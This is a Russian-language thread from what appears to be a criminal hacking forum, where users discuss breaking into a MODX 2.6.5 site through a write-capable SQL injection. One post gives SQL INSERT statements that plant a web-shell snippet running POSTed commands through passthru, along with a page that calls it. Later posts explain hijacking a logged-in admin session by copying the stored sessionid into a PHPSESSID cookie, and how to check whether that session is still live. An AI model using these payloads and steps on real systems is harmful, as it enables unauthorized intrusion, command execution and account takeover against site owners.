• XSS.stack #1 – первый литературный журнал от юзеров форума

СпецЫалисты по MODX тут?

c0d3x

Мафиозник
Эксперт
Регистрация
18.08.2021
Сообщения
1 203
Решения
2
Реакции
2 797
Имеется сайт на MODX 2.6.5, на сайте имеется SQLi с правами на запись, то-есть могу инсертить/апдейтить/удалять записи в БД. Проблема следующая:
  • Делаю инсерт нового админа в БД - в админку все равно попасть не могу, при попытке залогиниться страница просто обновляется без ошибок и установки каких-либо кук.
  • Делаю апдейт пасса у действующих админов - то же самое, при логине страница просто обновляется без ошибок.
  • При всем при этом если ввести неверный пасс то появляется ошибка о неправильном пароле.
Что это за шляпа и как прогрузиться в админку? :rolleyes:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Через load local infile можешь прочитать .htaccess?
Не, на это уже прав нет, ни залить ни прочитать. Как мне удалось нагуглить - в старых (да и в свежих версиях встречается) есть такой баг: https://modx.pro/help/24104 (нужно удалить весь кэш из каталога core/cache и включить anonymous_sessions в таблице системных настроек, либо почистить всю таблицу со всеми сохраненными сессиями. Это часто встречающаяся проблема, когда админ не может залогиниться, просто обновляется страница без отдачи какой-либо ошибки. В моем случае anonymous_sessions=1 и так, сессии очищать это дикое палево, ну и к тому же бесполезное без очистки каталога (которая невозможна в моем случае). Крч буду на днях пробовать как-то заливаться через таблицу со сниппетами (подсказал мне один товарищ местный эту идею), позже отпишу, получилось/не получилось.
 
Последнее редактирование:
Ля, забыл отписать чем дело кончилось. Залиться через действующий сниппет не вышло, поскольку UPDATE стал недоступен, остался только INSERT и DELETE.
  • Добавил новый сниппет и страницу.
SQL:
INSERT INTO modx_site_snippets (id, source, property_preprocess, name, editor_type, category, cache_type, snippet, locked, properties, static) VALUES (80, 1, 0, 'test', 0, 0, 0, 'echo passthru($_POST[\'cmd\']);', 0, 'a:0:{}', 0)
SQL:
INSERT INTO modx_site_content (content, pagetitle, description, published, id) VALUES ('[[!test]]', 'pizdec', 'lol', 1, 20)
И в этом случае х#й там плавал. Нужно ждать пока кто-то из админки дропнет кэш. С юзером так же. Это ни какой не баг и не защита, как предполагалось выше. Нужно что-бы просто кто-то дропнул кэш из админки, и тогда и добавленный акк админа заработает, и добавленные страницы и сниппеты начнут воркать.

Оказалось все гораздо проще, удивительно что ни кто не предложил этот вариант. Выдергиваем из таблицы modx_user_attributes куки админа в колонке sessionid, подставляем их себе и оказываемся в админке. 🫤
 
Оказалось все гораздо проще
а какое имя куки указать если при переходе на сайт они пустые? т.е. изначально нет никакой куки как SN55ca48b9dfe17 или session_id или PHPSESID ?
есть ли название куки где-нибудь в базе?) не могу найти ничего ;(
 
а какое имя куки указать если при переходе на сайт они пустые? т.е. изначально нет никакой куки как SN55ca48b9dfe17 или session_id или PHPSESID ?
В моем случае: PHPSESSID. Добавил к ней значение из колонки sessionid, после чего обновил site.com/manager/ и оказался залогинен под админским акком. Главное что-бы сессия админа была активной, что-бы он не был разлогинен в админке. Если админ разлогинен - в колонке sessionid сохраняется старая кука, которая будет невалидной.
 
кстати, а узнать залогинен ли админ можно только перебором сессий?
В той же таблице, в колонке thislogin указана временная метка (timestamp) сессии которая прописана в колонке sessionid. На нее ориентируйся.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх